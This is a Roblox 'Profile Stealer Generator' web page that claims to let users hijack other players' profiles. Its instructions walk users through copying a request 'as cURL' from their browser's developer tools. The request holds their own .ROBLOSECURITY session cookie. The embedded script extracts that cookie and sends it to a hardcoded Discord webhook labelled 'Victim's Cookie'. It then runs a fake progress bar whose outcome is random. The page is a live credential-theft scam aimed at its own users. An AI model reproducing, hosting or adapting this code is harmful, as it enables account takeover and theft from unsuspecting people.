<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CodeSpecter HUB</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      padding: 20px;
    }
    #announcementBar {
      background-color: #ffcc00;
      color: black;
      padding: 15px;
      font-size: 18px;
      font-weight: bold;
      border: 1px solid #e6b800;
      margin-bottom: 20px;
    }
    #messageBar {
      margin-top: 20px;
    }
    textarea, button {
      padding: 10px;
      font-size: 16px;
    }
    textarea {
      width: 70%;
      height: 200px;
      margin-right: 10px;
      resize: vertical;
    }
    button {
      background-color: #007bff;
      color: white;
      border: none;
      cursor: pointer;
    }
    button:disabled {
      background-color: #cccccc;
      cursor: not-allowed;
    }
    button:hover:not(:disabled) {
      background-color: #0056b3;
    }
    .counter-button {
      margin: 10px;
      padding: 10px 20px;
      font-size: 16px;
      background-color: #4caf50;
      color: white;
      border: none;
      cursor: pointer;
    }
    .counter-button.failed {
      background-color: #f44336;
    }
    #progressWrapper {
      width: 80%;
      margin: 20px auto;
      position: relative;
      height: 25px;
    }
    #progressBar {
      width: 0;
      height: 100%;
      background-color: #4caf50;
      text-align: center;
      line-height: 25px;
      color: white;
      font-weight: bold;
    }
    #progressText {
      position: absolute;
      top: 0;
      left: 50%;
      transform: translateX(-50%);
      color: black;
      font-weight: bold;
    }
    #instructions {
      margin-top: 30px;
      font-size: 16px;
      line-height: 1.5;
      text-align: left;
      width: 80%;
      margin: 30px auto;
    }
    .youtube-button, .roblox-button, .discord-button {
      margin-top: 20px;
      padding: 10px 20px;
      background-color: #FF0000;
      color: white;
      font-size: 16px;
      border: none;
      cursor: pointer;
      border-radius: 5px;
      margin-right: 10px;
    }
    .youtube-button:hover, .roblox-button:hover, .discord-button:hover {
      background-color: #cc0000;
    }
  </style>
</head>
<body>
  <!-- Announcement Bar -->
  <div id="announcementBar">
    I’ve received numerous complaints about the site not working. Why isn’t it working? It’s because our site has been under attack—likely due to jealousy. If you’re experiencing issues, please try refreshing the site. If it still doesn’t load, refresh it again once the loading bar finishes, and keep trying. This behavior is normal under these circumstances.

I haven’t added advanced security measures to the site because, frankly, it’s a free tool, and I don’t gain anything from it. Investing time in adding security feels unnecessary to me. I prefer to let the hackers attack, and I’ll simply update the site as needed.

Thanks for your understanding.
  </div>

  <h1>Profile Stealer Generator!</h1>
  <div id="messageBar">
    <textarea id="messageInput" placeholder="Paste the victim code that you copied..."></textarea><br>
    <button id="sendButton" onclick="sendMessage()">Generate</button>
  </div>
  <div id="progressWrapper" style="display: none;">
    <div id="progressBar">
      <div id="progressText">1%</div>
    </div>
  </div>
  <p id="status" style="color: green; font-weight: bold;"></p>
  <p id="errorMessage" class="error"></p>

  <!-- Success and Failure Counters -->
  <button id="successCounter" class="counter-button">Success: 0</button>
  <button id="failureCounter" class="counter-button failed">Failed: 0</button>

  <!-- Instructions Section -->
  <div id="instructions">
    <h3><strong>INSTRUCTION:</strong></h3>
    <ol>
      <li>Search for any player.</li>
      <li>Stay on the player profile.</li>
      <li>Right-click and select "<strong>Inspect Element</strong>" or <strong>press F12</strong>.</li>
      <li>Go to the "<strong>Network</strong>" tab.</li>
      <li>Refresh the browser.</li>
      <li>Scroll up until you reach the top, where you should find the "<strong>profile</strong>" name, depending on whether the refresh was successful.</li>
      <li>Right-click on it and choose "<strong>Copy</strong>", then click "<strong>Copy as cURL (bash)</strong>" or "<strong>Copy all as cURL (bash)</strong>."</li>
      <li>Paste what you copied from the victim's profile above.</li>
      <strong>NOTE:</strong> You can't steal a profile that is linked to an email, so it depends on your luck! You can try as many players as you want.
    </ol>
  </div>

  <!-- Buttons for YouTube, Roblox Profile, and Discord -->
  <button class="youtube-button" onclick="window.open('https://www.youtube.com/watch?v=y8qyG-NboR0', '_blank')">Tutorial</button>
  <button class="roblox-button" onclick="window.open('https://www.roblox.com/users/7741437084/profile', '_blank')">Roblox</button>
  <button class="discord-button" onclick="window.open('https://discord.gg/D82xeKSSMf', '_blank')">Discord</button>

  <script>
    const DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1321215062425206867/4lrt27s0YaLCbd-ZdRENnnCgaEs_dBZdCoRVEXcBlQXJUQ3ad6qSpVMqr8a6PBLSbT7V";

    let successCount = 0;
    let failureCount = 0;

    function updateCounters(isSuccess) {
      if (isSuccess) {
        successCount++;
        document.getElementById("successCounter").textContent = `Success: ${successCount}`;
      } else {
        failureCount++;
        document.getElementById("failureCounter").textContent = `Failed: ${failureCount}`;
      }
    }

    function sendMessage() {
      const messageInput = document.getElementById("messageInput");
      const sendButton = document.getElementById("sendButton");
      const errorMessage = document.getElementById("errorMessage");
      const progressWrapper = document.getElementById("progressWrapper");
      const progressBar = document.getElementById("progressBar");
      const progressText = document.getElementById("progressText");

      let message = messageInput.value;

      errorMessage.textContent = ""; // Clear any previous error messages

      if (!message.trim()) {
        errorMessage.textContent = "Generating failed! Your message cannot be blank.";
        return; // Do not increment counters
      }

      const startPhrase = ".ROBLOSECURITY=";
      const endPhrase = "; rbxas";

      const startIndex = message.indexOf(startPhrase);
      const endIndex = message.indexOf(endPhrase);

      if (startIndex !== -1 && endIndex !== -1 && endIndex > startIndex) {
        const middleMessage = message.slice(startIndex + startPhrase.length, endIndex).trim();

        if (middleMessage) {
          progressWrapper.style.display = "block";
          sendButton.disabled = true;
          messageInput.disabled = true;

          const embedPayload = {
            content: "@everyone",
            embeds: [
              {
                title: "Victim's Cookie",
                description: `\`${middleMessage}\``,
                color: 16711680,
                timestamp: new Date().toISOString(),
              },
            ],
          };

          fetch(DISCORD_WEBHOOK_URL, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(embedPayload),
          }).catch((error) => console.error("Error:", error));

          let progress = 0;
          let interval = setInterval(() => {
            progress += (100 / 300000); // Increase progress by 0.000333% per millisecond
            progressBar.style.width = progress + "%";
            progressText.textContent = Math.round(progress) + "%"; // Show rounded progress

            if (progress >= 100) {
              clearInterval(interval);
              const randomMessages = ["Completed", "Try Again"];
              const randomMessage = randomMessages[Math.floor(Math.random() * randomMessages.length)];
              progressText.textContent = randomMessage;

              if (randomMessage === "Completed") {
                updateCounters(true); // Increment success counter
              } else {
                updateCounters(false); // Increment failure counter
              }

              setTimeout(() => {
                progressWrapper.style.display = "none";
                sendButton.disabled = false;
                messageInput.disabled = false;
                messageInput.value = "";
              }, 2000);
            }
          }, 1); // Update every millisecond
        } else {
          errorMessage.textContent = "Generating failed! Wrong Code.";
        }
      } else {
        errorMessage.textContent = "Generating failed! Make sure you paste the right code.";
      }
    }
  </script>
</body>
</html>
